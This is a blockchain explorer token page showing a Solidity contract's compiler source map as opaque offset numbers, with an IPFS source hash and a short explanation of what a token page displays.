;;;;;7768:2;-1:-1:-1;;;;;7753:26:0;7762:4;-1:-1:-1;;;;;7753:26:0;;7772:6;7753:26;;;;1361:25:1;;1349:2;1334:18;;1215:177;7753:26:0;;;;;;;;7973:37;8875:342;10512:93;176:10;10553:23;;;;:9;:23;;;;;:44;;10580:17;;10553:23;:44;;10580:17;;10553:44;:::i;:::-;;;;-1:-1:-1;;10512:93:0:o;594:130::-;669:10;658:7;545;572:6;-1:-1:-1;;;;;572:6:0;;499:87;658:7;-1:-1:-1;;;;;658:21:0;;650:66;;;;-1:-1:-1;;;650:66:0;;9399:2:1;650:66:0;;;9381:21:1;;;9418:18;;;9411:30;9477:34;9457:18;;;9450:62;9529:18;;650:66:0;9197:356:1;1052:191:0;1126:16;1145:6;;-1:-1:-1;;;;;1162:17:0;;;-1:-1:-1;;;;;;1162:17:0;;;;;;1195:40;;1145:6;;;;;;;1195:40;;1126:16;1195:40;1115:128;1052:191;:::o;2903:108::-;2978:2;2972;:8;2968:35;;2984:16;;-1:-1:-1;;;2984:16:0;;9760:2:1;2984:16:0;;;9742:21:1;9799:1;9779:18;;;9772:29;-1:-1:-1;;;9817:18:1;;;9810:36;9863:18;;2984:16:0;9558:329:1;2968:35:0;2903:108;;:::o;8875:342::-;9013:12;9022:2;9013:8;:12::i;:::-;9009:171;;;9043:11;9049:4;9043:5;:11::i;:::-;9082:5;;-1:-1:-1;;;;;9074:13:0;;;9082:5;;9074:13;9070:99;;9118:24;9137:4;9118:18;:24::i;:::-;9117:25;9109:44;;;;-1:-1:-1;;;9109:44:0;;10094:2:1;9109:44:0;;;10076:21:1;10133:1;10113:18;;;10106:29;-1:-1:-1;;;10151:18:1;;;10144:36;10197:18;;9109:44:0;9892:329:1;9109:44:0;9207:1;9198:6;:10;9190:19;;;;;;8875:342;;;:::o;10952:142::-;11050:5;;11008:4;;-1:-1:-1;;;;;11033:23:0;;;11050:5;;11033:23;;:52;;-1:-1:-1;;11077:7:0;;;;;-1:-1:-1;;;;;11077:7:0;;;11060:25;;;;10952:142::o;11217:148::-;11306:4;11354:3;11330:21;11340:11;11330:7;:21;:::i;:::-;:27;;;;:::i;:::-;11323:34;11217:148;-1:-1:-1;;;11217:148:0:o;10766:178::-;-1:-1:-1;;;;;10822:13:0;;;;;;:9;:13;;;;;;;;:18;10818:35;;10766:178;:::o;10818:35::-;10869:4;;;;10864:73;;10877:20;10888:8;;10877:10;:20::i;10864:73::-;10917:17;10928:5;;10917:10;:17::i;3041:210::-;3099:4;3158:18;;3192:10;;3188:33;;-1:-1:-1;3214:4:0;;3041:210;-1:-1:-1;;3041:210:0:o;3188:33::-;-1:-1:-1;3238:5:0;;3041:210;-1:-1:-1;;3041:210:0:o;11603:108::-;11677:4;11663:11;:18;11659:45;;;11685:16;;-1:-1:-1;;;11685:16:0;;10823:2:1;11685:16:0;;;10805:21:1;10862:1;10842:18;;;10835:29;-1:-1:-1;;;10880:18:1;;;10873:36;10926:18;;11685:16:0;10621:329:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:118::-;1944:5;1937:13;1930:21;1923:5;1920:32;1910:60;;1966:1;1963;1956:12;1981:382;2046:6;2054;2107:2;2095:9;2086:7;2082:23;2078:32;2075:52;;;2123:1;2120;2113:12;2075:52;2162:9;2149:23;2181:31;2206:5;2181:31;:::i;:::-;2231:5;-1:-1:-1;2288:2:1;2273:18;;2260:32;2301:30;2260:32;2301:30;:::i;:::-;2350:7;2340:17;;;1981:382;;;;;:::o;2557:180::-;2616:6;2669:2;2657:9;2648:7;2644:23;2640:32;2637:52;;;2685:1;2682;2675:12;2637:52;-1:-1:-1;2708:23:1;;2557:180;-1:-1:-1;2557:180:1:o;2742:247::-;2801:6;2854:2;2842:9;2833:7;2829:23;2825:32;2822:52;;;2870:1;2867;2860:12;2822:52;2909:9;2896:23;2928:31;2953:5;2928:31;:::i;3202:388::-;3270:6;3278;3331:2;3319:9;3310:7;3306:23;3302:32;3299:52;;;3347:1;3344;3337:12;3299:52;3386:9;3373:23;3405:31;3430:5;3405:31;:::i;:::-;3455:5;-1:-1:-1;3512:2:1;3497:18;;3484:32;3525:33;3484:32;3525:33;:::i;3595:380::-;3674:1;3670:12;;;;3717;;;3738:61;;3792:4;3784:6;3780:17;3770:27;;3738:61;3845:2;3837:6;3834:14;3814:18;3811:38;3808:161;;3891:10;3886:3;3882:20;3879:1;3872:31;3926:4;3923:1;3916:15;3954:4;3951:1;3944:15;3808:161;;3595:380;;;:::o;4323:127::-;4384:10;4379:3;4375:20;4372:1;4365:31;4415:4;4412:1;4405:15;4439:4;4436:1;4429:15;4455:125;4520:9;;;4541:10;;;4538:36;;;4554:18;;:::i;4585:251::-;4655:6;4708:2;4696:9;4687:7;4683:23;4679:32;4676:52;;;4724:1;4721;4714:12;4676:52;4756:9;4750:16;4775:31;4800:5;4775:31;:::i;5429:245::-;5496:6;5549:2;5537:9;5528:7;5524:23;5520:32;5517:52;;;5565:1;5562;5555:12;5517:52;5597:9;5591:16;5616:28;5638:5;5616:28;:::i;5679:184::-;5749:6;5802:2;5790:9;5781:7;5777:23;5773:32;5770:52;;;5818:1;5815;5808:12;5770:52;-1:-1:-1;5841:16:1;;5679:184;-1:-1:-1;5679:184:1:o;9064:128::-;9131:9;;;9152:11;;;9149:37;;;9166:18;;:::i;10226:168::-;10299:9;;;10330;;10347:15;;;10341:22;;10327:37;10317:71;;10368:18;;:::i;10399:217::-;10439:1;10465;10455:132;;10509:10;10504:3;10500:20;10497:1;10490:31;10544:4;10541:1;10534:15;10572:4;10569:1;10562:15;10455:132;-1:-1:-1;10601:9:1;;10399:217::o

Swarm Source

ipfs://7c4e12af2ed96228b45a8250584d6d794b3a8352b05b698852cee1ba73c3347e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.